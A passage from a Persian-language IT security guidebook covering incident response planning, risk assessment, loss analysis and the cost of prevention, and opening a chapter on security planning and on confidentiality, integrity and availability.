هريــك از ايــن تهديــدات بــالقوة انــساني بــراي سيــستمها و 
اطلاعات امنيتي سطح متفاوتي از مخاطره را به همراه دارند و       
. براي جلوگيري از وقوع آنها به روشهاي متفاوتي نيـاز اسـت           

ياب ممكن اسـت    تمهاي مهاجم روز و سيس  هاي آتشِ به  ديواره
هـا  "script kiddie"براي جلوگيري از نفـوذگران تفننـي يـا    

امـا در مـورد تبهكـاران هدفـدار، ايـن راهبـران             . كفايت كنند 
هوشيار سيستم و مديران هستند كه بايد آنهـا را شناسـايي و             
متوقف سازند؛ و در اين راستا استفاده از سياستهاي كاركنان و           

سـازماني  سازي حملات احتمالي درون    خنثي توجه مديريت به  
اما هيچ طرحي بدون نقص نيـست و بـسيار          . مفيد خواهد بود  

اهميت دارد كه سازمان، سابقه و روند اين طرحها را با توجـه             
نظـارت مـستمر بـر      . به نفوذهاي امنيتي مستمراً بررسي كنـد      

تــر دورنمــاي امنيتــي، كــشف و جلــوگيري از نفــوذ را ســاده 
علاوه بر اين، اتخاذ سياستهاي شفاف دربـارة آنچـه         . نمايد مي

كه بايد حين و بعد از وقوع حمله انجام شود به كاهش آسيب             
كند، افـراد مـسئول را بـراي رسـيدگي بـه خرابـي               كمك مي 

نمايد و امكان ثبت مناسب گزارشات لازم بـراي         راهنمايي مي 
  .سازدمقامات داخل و خارج سازمان را فراهم مي

  : امنيتتخمين عملي
  برآورد مخاطره و تحليل زيان

همانگونه كه مشاهده كرديم تخلفات امنيتي ريشه در حملات      
داخلي و خارجي دارند و به دسترسي غيرمجاز به سيـستمها و            

. شـوند ها براي اهداف غيرقانوني و غيراخلاقي منتهي مي       داده
شـود  گامهاي ابتدايي ايجاد سياست امنيتي زماني برداشته مي       

ازمان، يك تخمين امنيتي در مورد فرآينـدهاي داخلـي،          كه س 
هنگاميكه ايـن   . پذيريهاي موجود داشته باشد   اهداف، و آسيب  
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عناصر تجزيه و تحليـل شـدند، يـك سياسـت امنيتـي و نيـز        
  .تواند توسعه يابدطرحي براي روالها مي

هاي كليدي ذيـل    اين طرح بايد حاوي اطلاعاتي دربارة حوزه      
  :باشد

 از طريق -شويد اني كه مورد حمله واقع مي    دانستن زم  •
بكــارگيري سيــستمهاي كــشف تهــاجم و هوشــياري  

 .داخلي

 تفكـر   -فراهم ساختن سناريوي بدترين حالت ممكـن         •
توانـد  دربارة تأثيرات مضاعفي كـه نقـض امنيـت مـي          

 .برايتان بدنبال داشته باشد

تدوين يك سياست مكتوب براي ثبـت وقـايع امنيتـي            •
 اين سند كتبي به تحليل وقايع       -) ٦٢ نفوذ طرحموسوم به   (

منفرد و جلوگيري از حمـلات موفـق در آينـده كمـك       
 .كندمي

 بـر مبنـاي     -استخدام يك متخصص درصـورت نيـاز         •
از . ايرخدادها يا بـر مبنـاي موافقتنامـة مـشاورة دوره          

كسانيكه مـدعي نفـوذگري     (استخدام نفوذگران خودخوانده    
ين امنيـت از طريـق      مبحـث تـأم   . اجتناب كنيد ) هستند

 ٦٣.شودمنابع خارجي در ادامه اين بخش مطرح مي

فراهم نمودن آموزش لازم براي كاركنان فني و سـاير           •
 بسياري از نقصهاي امنيتي ناشي از كمبود        -كارمندان  

اطلاعات كافي در مـورد روالهـاي مقابلـه بـا مـسائل             
هريك از كاركنان در شركت بايد نحوة       . امنيتي هستند 

 .ازي روالهاي امنيتي را بداندسپياده

 ايـن فـرد بايـد در حـوزة     -تعيين يـك نقطـة تمـاس      •
فناوري اطلاعات متخصص باشد و وقايع مستقيماً بـه         

 .اعضاي تيم مديريت گزارش دهد

 كه شامل همه يا برخـي  -بندي اهداف درك و اولويت  •
 :شوداز موارد ذيل مي
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اين توصيه بيشتر در سازمانهاي متوسـط و بـزرگ عملـي اسـت و                  ۶۳
ين براي شركتهايي كه براي انجـام فعاليتهايـشان وابـستگي            همچن

در . زيادي به فناوري دارند و بازار هدفشان بازار فني پيشرفته اسـت           
مورد دوم مشتريان بالقوه ممكن است بر اساس وجهة فني شركت و       
استحكام فعاليتهاي آن نظراتي در مورد شركت ابراز كنند كه باعـث            

 .جوسازي مثبت يا منفي شود

o حفاظت از اطلاعات مشتريان؛ 
o پيشگيري از حمله؛ 
o علام حمله به مديرت ارشد؛ا 
o ثبت وقايع؛ 
o  از سيستم؛٦٤تصاوير آنيتهية  
o  تيم واكنش به رخدادهاي امنيت تماس با

 ؛٦٥اي رايانه
o شناسايي مهاجم؛ 
o شناسايي افراد مسئول در هر مورد؛ و 
o شناسايي فردي كه بتوان به وي اطمينان كرد. 

ا توانيد سياستها و روالهاي موجـود ر      اي رخ دهد مي   اگر حادثه 
مجدداً آزمايش كنيد و تا آنجا كه بودجه و تـداركات بـه شـما            

در ارزيـابي سـازمان،     . دهنـد آنهـا را تقويـت نماييـد        اجازه مي 
تواننـد بـه شـما در       اي از سؤالات وجود دارند كه مي      مجموعه

يـك  . تعريف نقاط ضعف و قوت طـرح امنيتـي كمـك كننـد            
 تهـاجم   فهرست نمونه كه بر توانايي واكنش مـؤثر در مقابـل          

  :بينيدتمركز دارد را در ادامه مي

روالهاي مواجهه با رخداد، طرحهاي تـرميم و سـرماية          
  :مورد نياز

o            آيا روالهايي براي پاسـخگويي بـه رخـداد وجـود
 دارند؟

o آيا روالها قابل فهم و به روز هستند؟ 
o         آيا طرحهاي لازم براي ترميم آثار بلاياي طبيعي

 اند؟تهيه شده
o   براي بروز واكنشهاي مناسب در      آيا سرماية كافي 

 مقابل رخداد تخصيص داده شده است؟

  :روالهاي متخصصان امنيتي و مديريت

o          آيا روالها شامل دستورالعملهايي براي تمـاس بـا
روز و هـر    متخصص امنيتي در تمام طول شـبانه      

 هفت روز هفته هستند؟
o         اگر متخصص امنيت در دسترس نباشد، آيا راهي

 يريت از مشكل وجود دارد؟براي مطلع كردن مد
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o         آيا روشي براي مطلع كردن مدير ارشد اطلاعات
از وقوع حوادث احتمـالي تعريـف       ) درصورت وجود (

 شده است؟
o          آيا روالي براي تعيين زمان تماس با افراد خارجي

براي درخواست كمـك و فـردي كـه بايـد ايـن             
  تماس را برقرار كند وجود دارد؟

  :روالهاي كاركنان

o   ركنان كليدي براي بكار بستن روالهـا       آيا همة كا
 اند؟آموزش ديده

o    ــسات ــة جل ــاً در هم ــدي واقع ــان كلي ــا كاركن آي
 كنند؟آموزشي حضور پيدا مي

o    ــوابق ــدي، س ــان كلي ــل انتخــاب كاركن ــا دلي آي
 درخشان آنها بوده است؟

o    آيا ارتباطات راهبران سيستم و گروههاي امنيتـي
 روان است؟

  :روالهاي منابع فني

o  تي براي آغاز كردن يا پايـان دادن بـه          آيا دستورا
 هاي سيستم وجود دارد؟برنامه

o         اي آيا دستورات آغاز يا پايان طرح بـصورت دوره
 شوند؟بررسي مي

o           آيا ابزارهاي مورد نياز براي كـشف تهـاجم روي
 اند؟سيستم نصب و فعال شده

o   كه روي شبكه نصب شده      ٦٦افزار شناسايي نرمآيا 
  را شناسايي كند؟تواند حملات ناشناختهمي

o  شـده   بنـدي  توانيد با استفاده از ساختار لايه     آيا مي
شـوند را كـشف و از        حملاتي كه بـه شـبكه مـي       
 وقوع آنها جلوگيري كنيد؟

o تــوان حمــلات را بــسادگي آيــا روي شــبكه مــي
 تعقيب كرد؟

o   ــر اســاس مميــزيِ رســميِ امنيــت، كليــة ــا ب آي
 سيستمها داراي كنترل امنيتي كافي هستند؟
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  ل برآورد مخاطرهمراح

اولين گام براي ارتقاي امنيت سيستم شما پاسخگويي به اين          
  :سئوالات اساسي است

سعي در حفظ چه چيزي دارم و اين مسئله چقـدر بـراي              .۱
 من ارزش دارد؟

 در مقابل چه چيزهايي نياز به حفاظت دارم؟ .۲
حاضــرم چقــدر زمــان، تــلاش و ســرمايه بــراي تــأمين  .۳

 حفاظت مناسب اختصاص دهم؟

 را ٦٧ارزيـابي مخـاطره  ين سؤالات، اساسِ فرآينـدي بـه نـام        ا
ارزيابي مخاطره بخش بسيار مهمي از فرآينـد        . دهندشكل مي 

اگر شما ندانيد كه براي چه و در مقابل چه          . امنيت رايانه است  
كنيد، نخواهيد توانـست گامهـاي      چيزي حفاظت را اعمال مي    

توانيـد   يوقتـي خطـرات را شـناختيد، م ـ       . آنرا تـدوين نماييـد    
سياستها و فنوني كه براي اجراي طرحهاي كـاهش مخـاطره           

بعنوان مثال اگـر خطـر قطـع بـرق         . نياز داريد را طراحي كنيد    
وجود دارد و اين امر براي شما مهم است، بايد اين خطر را بـا               

  . كاهش دهيدUPS٦٨استفاده از 

  :ارزيابي مخاطره شامل سه مرحلة كليدي است

  رزش آنهاشناسايي دارائيها و ا .۱
  شناسايي تهديدات  .۲
 محاسبة مخاطرات .۳

يـك  . روشهاي بسياري براي انجـام ايـن فرآينـد وجـود دارد           
اي از  روش كه تاكنون بـسيار موفـق بـوده، ايجـاد مجموعـه            

در ايـن روش شـما      . سازماني است كارگاههاي آموزشيِ درون  
بايــد از كــاربران آگــاه بخــشهاي مختلــف، مــديران ميــاني و 

 سـازمان خـود دعـوت بعمـل آوريـد؛ و طـي            مديران اجرايـي  
ايـن  . جلساتي فهرستي از دارائيها و تهديدات را تهيـه نماييـد          

كند كه فهرست كاملتري تهيه     تنها به شما كمك مي    فرآيند نه 
  .بردكنيد، بلكه آگاهي حضار از مسائل امنيتي را نيز بالاتر مي

 تر از آن اسـت كـه بخواهـد        يك رويكرد آماري بسيار پيچيده    
براي حفاظت از رايانة خانگي يا يك شـركت بـسيار كوچـك             

به همين ترتيب روالهايي كه در اينجا       . مورد استفاده قرار گيرد   
شوند براي حفاظت از شركتهاي بزرگ، سازمانهاي       مطرح مي 
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در چنـين مـواردي،    . دولتي، و دانشگاههاي مهم كافي نيستند     
تخـصص  اي كـه م   بسياري از سازمانها از مؤسـسات مـشاوره       

-كنند، و برخي ديگر نـرم     ارزيابي مخاطره هستند استفاده مي    
  .برندافزارهاي تخصصيِ ارزيابي را بكار مي

  شناسايي دارائيها
ايـن  . فهرستي از اقلامي كه به حفاظت نياز دارند تهيه كنيـد          

 و دانـش عرفـي      ٦٩طرح كـسب و كـار     فهرست بايد بر اساس     
ي از قــوانين ايــن فرآينــد نيازمنــد آگــاه. شــما تنظــيم شــود

كاربردي، درك كامل تسهيلات، و علـم بـه گـسترة پوشـش             
مثـل  (توانند ملمـوس    اقلام تحت حفاظت مي   . بيمة شما است  

گيري، گردانها، صفحات نمايش، كابلهاي شبكه، تجهيزات پشتيبان       ديسك
مثل دسترسي به رايانـه، رمـز       (و يا غيرملموس    ) هاي راهنما و كتابچه 

امة پردازش، فهرست مـشتريان، وجهـة عمـومي، و          عبور اصلي، توانايي اد   
اين فهرست بايد هر چيـزي كـه بـراي          . باشند) اعتبار در صنعت  

بـراي تـشخيص ارزشـمند      . شما ارزشمند است را در بر بگيرد      
بودن هر مورد، درنظر بگيريد كه درصورت تخريب يا فقـدان           

هاي زماني و پولي براي تعمير يا جـايگزيني آن  آن، چه هزينه 
برخي از موارديكه بطور حتم بايـد در        . شود شما تحميل مي   به

  :فهرست ارزيابي شما قرار بگيرند عبارتند از

  :موارد ملموس

o ها؛رايانه 
o هاي اختصاصي؛داده 
o هاي پشتيبان و بايگاني؛نسخه 
o دستورالعملها، راهنماها و كتابها؛ 
o هاي چاپي؛نسخه 
o افزارهاي تجاري؛وسايل توزيع نرم 
o ها؛كشيطي و كابلوسايل ارتبا 
o سوابق كاركنان؛ و 
o شدهاسناد حسابرسي. 

  :موارد غيرملموس

o امنيت و سلامت كاركنان؛ 
o حريم خصوصي كاربران؛ 
o رمزهاي عبور كاركنان؛ 
o وجهة عمومي و اعتبار سازمان؛ 
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o حسن نيت مشتريان؛ 
o پردازش؛ و در دسترس بودن 
o اطلاعات مربوط به پيكربندي. 

اي، نگرشـي   هـاي رايانـه    جنبه شما بايد بجاي توجه صرف به     
اگـر  . وسيعتر به اقلام فوق و ساير موارد مربوطه داشته باشـيد       

شما نگران اين موضوع هستيد كه كسي بتواند گزارشات مالي    
شما را مطالعه كند، شيوة دسترسي آن فرد به ايـن اطلاعـات             

هاي كاغذي چه از طريق پست الكترونيكي و چـه از           چه از طريق نسخه   (
از اهميـت خاصـي   ) هـاي پـشتيبان  دسترسي مستقيم به نسخه   طريق  

برخوردار نيست و كلية راهها براي انجـام چنـين كـاري بايـد              
  .مسدود شده باشند

  شناسايي تهديدات
مرحلة بعدي تعيين فهرستي از تهديدات موجود براي دارايـي          

برخـي از تهديـدات محيطـي هـستند و شـامل            . باشدشما مي 
اين فهرستها بايـد    . شوندجار و سيل مي   سوزي، زلزله، انف  آتش

شامل موارد بسيار نادر اما ممكن هم باشند؛ مثل بـروز نقـص            
كلي در ساختمان يا پيداشدن مواد آتـشزا در ديوارهـاي اتـاق             

چندان كوتاه وادار   رايانه كه ممكن است شما را براي مدتي نه        
رج ساير تهديدات از كاركنان و افـراد خـا        . به تخلية اتاق نمايد   
در اينجا مثالهايي براي اين دسـته از        . گيرندسازمان نشأت مي  
  :اندتهديدات ذكر شده

 بيماري افراد كليدي؛ •
نظيـر بيماريهـاي    (بيماري همزمان بـسياري از كاركنـان         •

 ؛)مسري مثل آنفولانزا
مـرگ، بازنشـستگي، پايـان      (از دست دادن پرسنل كليدي       •

 ؛)يافتن دورة كاري
 ن يا شبكه؛از دست دادن خدمات تلف •
 براي مدتي كوتاه؛) تلفن، برق، آب(قطع خدمات شهري  •
 قطع خدمات شهري براي مدت طولاني؛ •
 صاعقه؛ •
 سيل؛ •
 سرقت ديسكها يا نوارها؛ •
 سرقت رايانة كيفي يك فرد كليدي؛ •
 سرقت رايانة خانگي يك فرد كليدي؛ •
 ورود يك ويروس به سيستمها؛ •
 دهنــدةورشكـستگي فروشــندگان يـا شــركتهاي ارائـه    •

 خدمات كليدي طرف قرارداد با شما؛
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 افزاري؛اشكالات سخت •
 افزاري؛اشكالات نرم •
 خرابكاري كارمندان؛ •
مـثلاً كارمنـد بخـش      (خرابكاري پرسـنل شـخص ثالـث         •

 ؛)پشتيباني فروشندگان
 اغتشاش كاركنان؛ •
مهاجميني كه بصورت تـصادفي بـه ماشـينهاي شـما             •

 كنند؛دسترسي پيدا مي
كــاربراني كــه روي اينترنــت اطلاعــات ســازماني      •

 فرستند؛ وكننده يا انحصاري مي تحريك
 .جاسوسهاي سازمانيافتة تجاري •

  محاسبة مخاطرات
ارزيابي مخاطرات نبايد تنها يكبـار انجـام شـود و پـس از آن               

 حـداقل   -اي  فراموش گردد، بلكه بايد همواره و بصورت دوره       
اي در كاركنـان،    ييرات عمـده  يكبار در سال يا هر زمان كه تغ       

 آنـرا انجـام     -پـذيرد   سيستمها يا محيط عملياتي صورت مـي      
 علاوه بر اين هنگاميكه تغييـر جـدي در سـاختار يـا              ٧٠.دهيد

دهد مجدداً بايد تهديدات را مورد ارزيابي قـرار       عمليات رخ مي  
كنيـد، بـه سـاختمان      لذا اگر شما سازماندهي مجـدد مـي       . داد

شــندگان طـرف قـرارداد خـود را تغييــر    رويـد، فرو جديـد مـي  
نماييـد، بايـد    دهيد و يا تغيير جدي ديگـري را ايجـاد مـي            مي

  .مجدداً تهديدات و آسيبهاي بالقوه را ارزيابي نماييد

  تحليل زيان

يـك  . تعيين هزينة خسارتها ممكن است بسيار سـخت باشـد         
شيوة سادة محاسبه اين است كه تنها هزينة تعمير يا تعـويض    

                                                                  
تواند استخدام و بازنشستگي تعداد زيـادي از     تغييرات در كاركنان مي      ۷۰

نيكه در طرح امنيـت سـازمان      افراد باشد، يا بازنشستگي يكي از كسا      
توانـد نـصب چنـد    تغييـرات در سيـستمها مـي      . فعاليت داشته اسـت   
 ۱ رايانه داريد و با رعايت اصول ايمني         ۱۰۰اگر  . سيستم جديد باشد  

كنيد، ارزيابي مجدد مخـاطرات ضـروري       رايانه به سيستم اضافه مي    
كنيد، ه مي  رايانة ديگر اضاف   ۱۰ رايانه داريد و     ۱۰نيست، اما اگر مثلاً     

اين توسعه ممكن است يك جنبـة كـاملاً جديـد در سـازمان شـما                 
انـدازي  تواننـد شـامل راه     تغييرات ديگر سيستمها مـي    . بوجود بياورد 

هاي جديـد داخلـي و خـارجي، ارتقـاي سيـستمها، يـا ايجـاد                شبكه
تغييـرات در سـازمان نيـز    . اي باشـند تغييرات در بستر عمليات رايانه   

 از رشد سـريع، برقـراري ارتبـاط بـا فروشـندگان يـا           معمولاً عبارتند 
مشتريان خارجي، و نيز شركتهاي بازاريابي كه ممكن اسـت شـما را         

 .در بازارهاي محلي و جهاني بيشتر جا بياندازند

تـرِ  يك شيوة پيچيده. ت و محصولات را محاسبه كنيم    تجهيزا
هـاي عـدم ارائـه خـدمات، آمـوزش مجـدد،            احتساب هزينـه  
شـدة ناشـي از آسـيب، از دسـت رفـتن اعتبـار            روالهاي اضافه 

. شركت، و حتي خسارتهاي واردشده به مشتريان شركت است        
بطور كلي افزودن عوامل جـانبي بـه محاسـبة هزينـه باعـث              

در . بـرد شود ولي دقت تخمين را بالا مـي       يزحمت بيشتري م  
اكثر موارد نيازي به تعيين دقيق ارزش و هزينة هـر مخـاطره             
نيست و در حالت عادي اختصاص يك بازه يا محدودة هزينه           

ديـده را   برخي از اقلام آسـيب    . كندبراي هر تهديد كفايت مي    
تــوان در دســتة اقــلام غيرقابــل تعميــر و جــايگزيني يــا مــي

اپذير قـرار داد؛ مثـل پـاك شـدن كامـل پايگـاه دادة               ن جبران
شـايد بخواهيـد هزينـة      . حسابها، يا مرگ يك كارمند كليدي     

اين خسارتها را با مقياسها ظريفتري مورد بررسي قرار دهيـد؛           
اي درنظـر  مثلاً براي هريـك از مـوارد ذيـل هزينـة جداگانـه         

  :بگيريد

  ؛) روز۱۰ تا ۷كمتر از (مدت در دسترس نبودن در كوتاه •
  ؛) هفته۲ الي ۱(مدت در دسترس نبودن در ميان •
  ؛) هفته۲بيش از (در دسترس نبودن در درازمدت  •
  زيان يا تخريب دائمي؛ •
  زيان يا تخريب تصادفي؛ •
  زيان يا تخريب تعمدي؛ •
  افشاي غيرمجاز اطلاعات درون سازمان؛ •
  افشاي غيرمجاز اطلاعات به منابع خارجي؛ •
ات بـراي همـة منـابع       افشاي غيرمجاز و كامل اطلاع ـ     •

  خارج از سازمان، رقبا و مطبوعات؛ و
  .هزينة جايگزيني يا ترميم •

  احتمال زيان
پس از اينكه تهديدات را شناسايي كرديد بايد احتمال رخـداد           

تخمـين سـالانة ايـن تهديـدات از         . هر اتفاق را تخمين بزنيد    
تعيين كميت يك مخاطره كار بـسيار       . ترين روشها است  ساده

مثـل  (توانيد از طريق شركتهاي ديگـر       شما مي . استدشواري  
  اگـر واقعـه بـراي      . اين برآوردها را بدسـت آوريـد      ) شركت بيمه 

تـوان  چند بار متوالي رخ داده باشد، بر اساس سوابق نيـز مـي            
-سازمانهاي صنعتي معمـولاً آمارهـايي جمـع       . آنرا تخمين زد  

حدسيات توانيد  شما نيز مي  . كنندآوري و گزارشاتي منتشر مي    
. خود را بر اساس تجربيات گذشته به واقعيـت نزديكتـر كنيـد            

  :بعنوان مثال
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شــركت بــرق بــر اســاس تجربــة ســال گذشــتة خــود  •
. برآوردي از احتمال قطع برق در خلال سال آينده دارد         

توانند مخاطرة قطع برق بـراي      مقامات مسئول نيز مي   
  .چند ثانيه، چند دقيقه، و يا چند ساعت محاسبه نمايند

تواند در تخمـين احتمـال اسـتعفاي        سوابق پرسنلي مي   •
 .يك كارمند كليدي بخش رايانه به شما كمك كند

تـرين حدسـيات در مـورد تكـرار تجربيـات           خوشبينانه •
توانند براي تخمين احتمال كشف اشكالات      گذشته مي 

افزارهاي شما در خلال سال آينـده مـورد         جدي در نرم  
 .استفاده قرار گيرند

اي بـيش از يكبـار در سـال رخ دهـد،            ار داريد حادثـه   اگر انتظ 
مـثلاً اگـر    . تعداد دفعات وقوع آنرا در طول يكسال ثبت كنيـد         

بينـي كنيـد، طبـق       سال يكبار پيش   ۱۰۰وقوع زلزله را در هر      
؛ اگـر امـا انتظـار       %۱شـود   آنچه گفته شد در فهرست شما مي      

دة دهنداشته باشيد طي ماه آينده سه اشكال جدي در سرويس         
Microsoft IIS ۳۶۰۰ كشف شود، خواهد شد.%  

  هزينة پيشگيري
سرانجام بايد هزينة پيشگيري از وقـوع هـر نـوع مخـاطره را              

اي احتمـالاً   بعنوان مثال هزينة قطعِ برقِ لحظه     . محاسبه كنيد 
انـدازي  عبارت خواهد بود از هزينة زمان بيكاري پرسنل و راه         

از آن برابر هزينة خريـد و       ها؛ اما هزينة پيشگيري     مجدد رايانه 
  .باشد ميUPSنصب يك سيستم 

ها بايد در طول عمر مورد انتظار، با استفاده از رويكردي          هزينه
توانـد  ها مـي  بدست آوردن اين هزينه   . مناسب مستهلك شوند  

ها و اعتبارات ديگري را مشخص كند كه آنها نيـز بايـد        هزينه
اطفاء حريقِ بهتـر    مثلاً نصب يك سيستم     . مد نظر قرار گيرند   

سـوزي را كـاهش دهـد و بـه علـت            تواند حق بيمة آتـش    مي
استهلاك سرمايه براي شما مزيت ماليـاتي ايجـاد كنـد؛ امـا             
صرف پول براي سيستم اطفاء حريق به اين معناست كـه آن            
پول ديگر براي ساير اهداف نظير آموزش كاركنـان يـا حتـي             

  .گذاري در دسترس نيستسرمايه

  يججمعبندي نتا
گيري بايد يك جدول چند ستوني از دارائيهـا،         در بخش نتيجه  

بـراي هـر زيـان      . مخاطرات و زيانهاي احتمالي طراحي كنيد     
شده و مقـدار پـول مـورد نيـاز     بينيبايد احتمال، خسارت پيش  

اگر خيلـي دقيـق هـستيد       . براي پيشگيري از وقوع آنرا بدانيد     
اعي را نيـز    توانيد احتمـال نامناسـب بـودن تمهيـدات دف ـ         مي

گيري در مورد بكار گرفتن   اكنون فرآيند تصميم  . محاسبه كنيد 
كافيـست  . يا نگرفتن هر مكانيزم دفاعي كاملاً روشـن اسـت         

شما ضرر مورد انتظـار هـر مخـاطره را در احتمـال وقـوع آن                
ايـن  . ضرب كنيد تا براي هر تهديد يك كميـت بدسـت آيـد            

ميـت متنـاظر هـر      ارقام را به ترتيب نزولي مرتب نماييـد و ك         
  .تهديد را با هزينة پيشگيري آن مقايسه نماييد

بندي شـده از آنچـه      نتيجة اين مقايسه فهرستي است اولويت     
اين فهرست ممكن اسـت در ابتـدا كمـي          . كه بايد انجام شود   

توجه كنيد كه هدف شـما بايـد جلـوگيري از           . آور باشد تعجب
د نـادر و    زيانهاي پرهزينه و محتمل و توجـه كمتـر بـه مـوار            

در بسياري از محيطها احتمال وقـوع مـواردي      . هزينه باشد  كم
سوزي و از دست دادن پرسنل كليدي بـسيار بـيش      نظير آتش 

باشد؛ اما بـا كمـال تعجـب    از مورد نفوذ قرار گرفتن شبكه مي 
اي هستند كه توجـه مـديران و درنتيجـه          اين نفوذهاي شبكه  

ايـن  . كننـد ياي از بودجه را بـه خـود جلـب م ـ          قسمت عمده 
عملكرد از لحاظ هزينـه اثـربخش نيـست و بـالاترين سـطح              

بـراي تجـسم    . كنـد اطمينان را براي كل سيستم فراهم نمـي       
اقداماتي كه بايد انجام دهيد، آنچه براي پيـشگيري و تـرميم            

بنـدي   ايد را بر مبناي اولويت، طبقه     آوري كرده هر رخداد جمع  
ميم را بـه ميـانگين زيـان       براي انجام اينكار هزينة تـر     . نماييد

مورد انتظار اضافه كنيد و آنرا در احتمال وقوع رخـداد ضـرب             
آنگاه نتـايج حاصـله را بـا هزينـة سـالانة پيـشگيري              . نماييد

ها كمتر از هزينة مورد انتظار مخاطره       اگر هزينه . مقايسه كنيد 
شود كه درصورت وجـود منـابع مـالي كـافي           است توصيه مي  

ا در پــيش بگيريــد؛ امــا اگــر هزينــة اســتراتژي پيــشگيري ر
پيشگيري بيش از هزينة آسيبها و ترميمِ بعد از وقـوع رخـداد             

  .است، تا پيش از وقوع حادثه هيچ اقدامي نكنيد
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  فصل چهارم
  ريزي براي نيازهاي امنيتيبرنامه

  كليات
اين فصل به سياستها و روالهاي مربوط به پيشگيري و دفـاع            

كه در فصل قبل در مورد آنها بحـث         مؤثر در مقابل تهديداتي     
  .دهدريزي را شرح ميپردازد و جزئيات فرآيند برنامهشد مي

  حلهاي فنيسياستگذاري و راه
  آميز امنيتبراي تأمين موفقيت

حلهـاي فنـي بـراي      اي از راه  اي مجموعـه  اساساً امنيت رايانه  
زمــان، پــول و تــلاش زيــادي را . مــشكلات غيرفنــي اســت

ايمـن كـردن رايانـه صـرف كـرد، امـا هرگـز              توان بـراي     مي
هـا يـا    شـدن تـصادفي داده    توان از نگراني در مورد پـاك       نمي

با درنظر گرفتن مجموعة    . تخريب عمدي اطلاعات راحت شد    
افزاري، حوادث، اشـتباهات، بـداقبالي،       اشكالات نرم  -شرايط  

 مـشاهده   -آب و هواي بد يا يك مهاجم مجهز و بـا انگيـزه              
 رايانه ممكن اسـت مـورد سـوء اسـتفاده قـرار           شود كه هر  مي

  .بگيرد، از فعاليت بيافتد، يا حتي كاملاً منهدم شود

گيـري  وظيفة متخصصين امنيتي كمك به سازمان در تصميم       
خواهـد بـراي مـسئله      اي است كه مـي    در مورد زمان و هزينه    
بخش ديگر اينكار حصول اطمينـان از       . امنيت اختصاص دهد  

هـا و روالهـاي مناسـب در سـازمان          مشيوجود سياستها، خط  
در نهايـت  . است تا بودجة امنيتي بصورت صحيح هزينه شـود   

سـازي  اي بايد سيستم را بررسي كننـد تـا از پيـاده           افراد حرفه 
شـدن اهـداف    صحيح كنترلهاي مناسب در راسـتاي بـرآورده       

اي بنابراين امنيت عملي بيش از اينكـه مـسئله        . اطمينان يابند 
درنتيجه امنيت بايد يكـي     . اي مديريتي است  مسئلهفني باشد،   

حتي در مؤسـسات بـسيار   . از اولويتهاي مديريت سازمان باشد   
شـود،  كوچك كه بودجة قابل توجهي براي امنيت صرف نمي        

مديريت بايد مسائل اصلي امنيتي را درك كند و اصول اوليـة            
  .امنيت را براي حفاظت از دارائيها به اجرا درآورد

  :توان به پنج مرحلة مجزا تقسيم كردريزي امنيتي را ميبرنامه

  ريزي براي تعيين نيازهاي امنيتيبرنامه .۱
 هاارزيابي مخاطره و انتخاب بهترين شيوه .۲
 ايجاد سياستهايي براي انعكاس نيازها .۳
 سازي امنيتپياده .۴
  بررسي و واكنش به وقايع .۵

ريـزي اثـربخش   دو اصل اساسي وجـود دارنـد كـه در برنامـه         
  :گذارنداست و امنيت تأثير ضمني ميسي

در سازمانها آگاهي از امنيت و سياست امنيتي بايد از بـالا بـه              
نگرانيهـا و آگـاهي كـاربران از مـسائل          . پائين گسترش يابـد   

تواننـد در گـسترة     امنيتي حائز اهميـت اسـت؛ امـا آنهـا نمـي           
در . سازمان يك فرهنگ مؤثر امنيتي ايجاد و آنرا حفظ نمايند         

اين مديران سازمان هستند كه بايد به امنيـت بعنـوان           عوض  
موضوعي مهم بنگرند و ضوابط و مقررات آنرا نظير ساير افراد           

  .بپذيرند و اجرا نمايند

. باشـد امنيت مؤثر رايانه به معناي حفاظـت از اطلاعـات مـي           
اگرچه حفاظت از منابع ديگر هـم مهـم اسـت امـا ضـررهاي            

تر از ضـررهاي وارده     ار راحت ناشي از تخريب ساير منابع بسي     
كليـة طرحهـا،    . به اطلاعات قابل تشخيص و جبـران هـستند        

كننــدة نيــاز بــه حفاظــت از سياســتها و روالهــا بايــد مــنعكس
اطلاعات انحـصاري اگـر     . اطلاعات در هر قالب ممكن باشند     

به چاپ برسند يا به يك دفتر فكـس شـوند ارزش خـود را از                
نة مشتريان نيـز اگـر بجـاي     اطلاعات محرما . دهنددست نمي 

ارسال از طريق پست الكترونيكي، با استفاده از تلفن گـزارش           
خلاصـه اينكـه    . شدند همچنان از ارزش زيـادي برخوردارنـد       

اطلاعات بايد مورد محافظت قرار بگيرد، مستقل از اينكـه در           
  .چه قالبي باشد

. اي وجـود دارد   انواع مختلف و تعاريف متفاوتي از امنيت رايانه       
اين كتاب بجاي ارائه يك تعريف رسمي، توجـه بيـشتري بـه             
رويكرد عملي دارد و در مورد انواع حفاظتهايي كه بايـد مـورد         

  .ملاحظه قرار گيرند به بحث پرداخته است
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 راهنماي امنيت فناوري اطلاعات ١٤٦

  بندي ملاحظات امنيتيدسته

هـاي مختلفـي از امنيـت وجـود         در اين تعريف گسترده، گونه    
  ٧١: آنها توجه كننددارند كه راهبران و كاربران بايد به

  ٧٢محرمانگي
بـرداري  شدن يـا نـسخه    حفاظت از اطلاعات در مقابل خوانده     

توسـط اشخاصـي كـه از جانـب مالـك آن اطلاعـات مجــوز       
تنها حفاظت كلي از  اين گونة امنيت نه   . دسترسي به آنرا ندارند   
هـاي منفـرد    حفاظـت از داده    بلكهگيرد،  اطلاعات را در بر مي    

يِ خود آسيبي در پـي نداشـته باشـند          كه ممكن است به خود    
ولي از طريق تعدادي از آنها بتوان به اطلاعات محرمانـه پـي             

  .شودبرد را نيز شامل مي

  ٧٣)تماميت (يكپارچگي و صحت
 حذفدر مقابل هرگونه    ) هامنجمله برنامه  (اطلاعاتمحافظت از   

 دي ـباي كـه    اطلاعـات  .اطلاعـات  آن مالك ةاجاز بدون رييتغو  
هاي نسخه،  يحسابدار ت قرار گيرد شامل سوابق    مورد محافظ 

  .شوداسناد مي و ليفا ايجاد يزمانها، پشتيبان

  ٧٤در دسترس بودن
اي كـه بـدون تـصديق       هاي خدماتي بگونـه   حفاظت از برنامه  

اگـر هنگاميكـه يـك      . اعتبار تنزل پيدا نكنند و تخريب نشوند      
 دسترس  ها در كاربرِ مجاز به اطلاعات نياز دارد سيستم و داده        

تواند به اندازة زماني كـه اطلاعـات از روي          نباشند، نتيجه مي  
  .اند ناخوشايند باشدسيستم حذف شده

  ٧٥)پايداري (ثبات و سازگاري
 كـه مـورد انتظـار      ايگونـه ب ستميس نكهيا از نانياطمحصول  
ناگهـان   افزارسخت اي افزارنرم اگر. كنداست رفتار مي   كاربران
